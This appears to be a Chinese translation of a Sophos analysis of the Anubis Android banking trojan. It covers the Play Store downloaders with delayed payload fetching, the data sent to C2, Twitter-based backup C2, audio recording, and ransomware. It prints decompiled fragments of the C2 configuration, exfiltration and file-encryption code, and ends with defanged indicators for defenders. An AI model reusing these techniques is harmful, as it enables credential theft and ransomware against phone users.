Android研究人員稱, Anubis是一種以土耳其用戶為主要目標(biāo),竊取憑證的惡意軟件。在過去的幾個月中,該惡意軟件家族已經(jīng)成功滲透到谷歌應(yīng)用商店。
應(yīng)用開發(fā)者經(jīng)常將他們的木馬偽裝成金融服務(wù),汽車應(yīng)用或購物程序,但實際上,它起到了下載器的作用。一旦激活,Anubis將獲取payload,該payload可竊取銀行憑證并向僵尸網(wǎng)絡(luò)控制者提供受感染設(shè)備的遠程控制權(quán)。
在首次發(fā)現(xiàn)Anubis之后,谷歌對應(yīng)用商店進行了清理,但沒過多久,新的Anubis下載程序再次出現(xiàn)在應(yīng)用商店中。
這個惡意軟件家族的持久性值得我們對它的功能進行更深入的研究。
這篇文章不是介紹古埃及的死神阿努比斯,Anubis是一種銀行木馬和僵尸網(wǎng)絡(luò)。源自于我們今年早些時候提到過的Maza-in銀行木馬源碼泄露。
它們沒有被嵌入任何有效payload,所以在谷歌應(yīng)用商店內(nèi)均顯示為無害的應(yīng)用程序。
這些應(yīng)用將作為下載器:成功安裝后,將連接C2服務(wù)器下載payload。
對谷歌應(yīng)用商店來說,隨著數(shù)以百萬計的應(yīng)用從網(wǎng)上下載內(nèi)容,很難通過安全掃描服務(wù)完全了解應(yīng)用下載了哪些內(nèi)容
因此,惡意的下載器在進入應(yīng)用商店市看起來是干凈無害的,但在成功安裝和激活之后,等待一段時間,它們會自動下載并激活payload,惡意軟件開發(fā)者使用這種簡單但惡毒的技巧欺騙谷歌應(yīng)用商店的防御機制,我們在之前看到過惡意軟件作者成功的使用這種延遲策略來繞過檢測,在谷歌不采取應(yīng)對措施之前,他們將繼續(xù)沿用這種手法。
Anubis的第一層是下載器代碼,咋一看,它很干凈,沒有做任何混淆,以便繞過谷歌應(yīng)用商店的防御機制,從而成功發(fā)布。
一旦安裝,下載器將收集設(shè)備信息,向C2服務(wù)器發(fā)送信號,并下載更多其他應(yīng)用。
在接下來的代碼中,你可以看到對C2服務(wù)器的引用以及惡意軟件的數(shù)據(jù)配置。
public static final boolean REPEAT_ADMIN_REQUEST_AFTER_DISABLE = true;
public static List SERVERS = null;
public static int SERVER_TRY_COUNT = 0;
public static final long START_INSTALL_INTERVAL = 20000;
public static final long TASKS_CHECK_INTERVAL = 60000;
static {
Config.LOGS_DIR = "";
Config.DOWNLOADS_DIR = new File(Environment.getExternalStorageDirectory(), Rows.downloads);
Config.SERVERS = Arrays.asList(new String[]{"http://bluetek1com/gate.php"});
Config.SERVER_TRY_COUNT = 5;
}
惡意軟件收集的信息包括IMEI,OS版本,設(shè)備名,root狀態(tài)等參數(shù)。
((Map)v3).put(Rows.api_req, "1");
((Map)v3).put(Rows.api_imei, Utils.getImei(arg6));
((Map)v3).put(Rows.api_uniqnum, arg7.getId());
((Map)v3).put(Rows.api_model, Build.MODEL);
String v4 = Rows.api_root;
String v1 = Utils.isRootAvailable() ? "1" : "2";
((Map)v3).put(v4, v1);
((Map)v3).put(Rows.api_country, ((TelephonyManager)v0_1).getNetworkCountryIso());
((Map)v3).put(Rows.api_osver, Build$VERSION.RELEASE);
v2.postAdd(Utils.getPostBody(((Map)v3)));
關(guān)鍵字符串通過混淆來隱藏,下面是混淆字符串的示例:
"D**pE2****pE2****pE2**i**pE2****pE2****pE2**s**pE2****pE2**a[REMOVED]"
去混淆后的字符串如下:
"Disabling this option can BREAK your system. Are you sure?"
正如前面所提到的,丟棄的payload正是Anubis銀行木馬自身。
一旦運行,payload彈出Android輔助功能請求訪問權(quán)限,偽裝成Google Play Protect請求。
輔助功能為惡意軟件提供了額外的功能,可以模擬屏幕按鈕的點擊,獲得某些事件的回調(diào),構(gòu)造參數(shù)去竊取用戶數(shù)據(jù)。
和下載器不同,木馬源代碼經(jīng)過混淆,很難分析。
執(zhí)行時,將隱藏快捷方式圖標(biāo)。然后,payload在運行中被丟棄,并加載另一個JAR文件,接下來,它將在后臺等待進一步操作。
除了銀行惡意軟件之外,Anubis還有附加的功能:
這是一段錄音功能代碼:
MediaRecorder v6 = new MediaRecorder();
this.c.a("SOUND", "START RECORD SOUND");
this.b = false;
v6.setAudioSource(1);
v6.setOutputFormat(3);
v6.setAudioEncoder(1);
v6.setOutputFile(arg11);
Thread v7 = new Thread(new Runnable(arg12, v6, arg11, arg10) {
public void run() {
StringBuilder v3;
String v2;
c v1_2;
try {
Thread.sleep(((long)(this.a * 1000)));
}
catch(Throwable v1) {
this.e.c.a("SOUND", "STOP RECORD SOUND");
內(nèi)置的勒索軟件組件將加密用戶的文件,并為其加上.Anubiscrypt的文件擴展名。要知道,它運行在手機上,相比筆記本電腦和臺式機,人們很少備份手機數(shù)據(jù),但在手機中,更可能存有私人照片或其他有價值的數(shù)據(jù)。下面是一段勒索組件代碼:
else if(!v2.getPath().contains(".AnubisCrypt")) {
v3 = this.a.a(v3, this.c);
StringBuilder v6 = new StringBuilder();
v6.append(v2.getPath());
v6.append(".AnubisCrypt");
v4 = new FileOutputStream(v6.toString(), true);
v4.write(v3);
if(this.b.equals("crypt")) {
v7_1 = this.a;
v1_1 = new StringBuilder();
v1_1.append("p=");
v2_1 = this.a;
v3 = new StringBuilder();
v3.append(this.a.q(((Context)this)));
v3.append("|The Cryptor is activated, the file system is encrypted by key: ");
v3.append(this.c);
v3.append("|");
v1_1.append(v2_1.c(v3.toString()));
v7_1.b(((Context)this), "4", v1_1.toString());
v7_1 = this.a;
v0_1 = "cryptfile";
v1_2 = "true";
下載程序向C2服務(wù)器返回數(shù)據(jù),包含手機的root狀態(tài),IMEI,設(shè)備型號和其他參數(shù)。
{
"root":"1",
"country":"gb",
"os ver":"5.0",
"uniqnum":"15b76e7d-e1a1-4f3a-8603-5f4b8041bd64",
“imei":"123442323",
"req" :"1",
"model":"Nexus 5"
}:
有趣的是,這個木馬有依賴Twitter來備份C2的趨勢,這種行為和Red alert銀行木馬相似
下面的示例演示了一個twitter句柄如何包含base64編碼的數(shù)據(jù),并附帶zero
標(biāo)記:
加密數(shù)據(jù)解密后是一個備份C2地址
http://erhgefhsdfsdg<dot>com
C2為惡意軟件提供了一個虛假的網(wǎng)上銀行登錄窗口,如下圖所示:
Anubis惡意軟件和不同的C2服務(wù)器進行通信,其中一些服務(wù)器公開了目錄結(jié)構(gòu)。通過這些公開目錄,我們發(fā)現(xiàn)了超過700個惡意安卓應(yīng)用程序,準(zhǔn)備公之于眾:
在C2管理面板,公開了有關(guān)此惡意軟件受害者的詳細信息。
僅在這一個服務(wù)器中,就有超過2600名受害者的信息被收集,受害者向服務(wù)器匯報信息。服務(wù)器接受惡意軟件從受害者那里收集的root狀態(tài),IMEI,國家,連接狀態(tài)等信息。
Anubis木馬針對70多種不同的銀行應(yīng)用程序,這些應(yīng)用程序是與Santander,Natwest,RBS和Citibank等銀行建立的網(wǎng)上銀行業(yè)務(wù)。
最重要的是,惡意軟件還將PayPal,eBay,Amazon等非銀行應(yīng)用作為目標(biāo)。
鑒于已證明Anubis具有持久性,它會持續(xù)活動,不會很快消失。
一些Anubis應(yīng)用已經(jīng)被谷歌應(yīng)用商店移除,這種做法是把雙刃劍。一方面,谷歌需要進行定位,移除,與惡意軟件做艱難的斗爭。
另一方面,這些惡意軟件將卷土重來,每次使用不同的技術(shù)來繞過谷歌應(yīng)用商店的防御,不斷的發(fā)布。
在一定延遲后下載payload的技巧具有很驚人的適應(yīng)性。
為了降低被感染的幾率,用戶應(yīng)該安裝那些口碑良好的開發(fā)者所開發(fā)的應(yīng)用。
我們會持續(xù)跟蹤Anubis的活動,來確保使用Sophos手機衛(wèi)士的用戶不會被感染。
Sophos檢測到Anubis下載器為Andr / Banker-GWQ,payload本身為 Andr / Banker-GUZ和Andr / Banker-GTN。
bluetek1<dot>com
junilogart8<dot>info
redtek0<dot>com
074ae028bd3204a7e7e7a510ad0f88c49cb780fa07e91944f111af146c39c91c
5a6f9ac189dc65dad3744005644a251f73ff2a8022a70431bf90945fc7da021b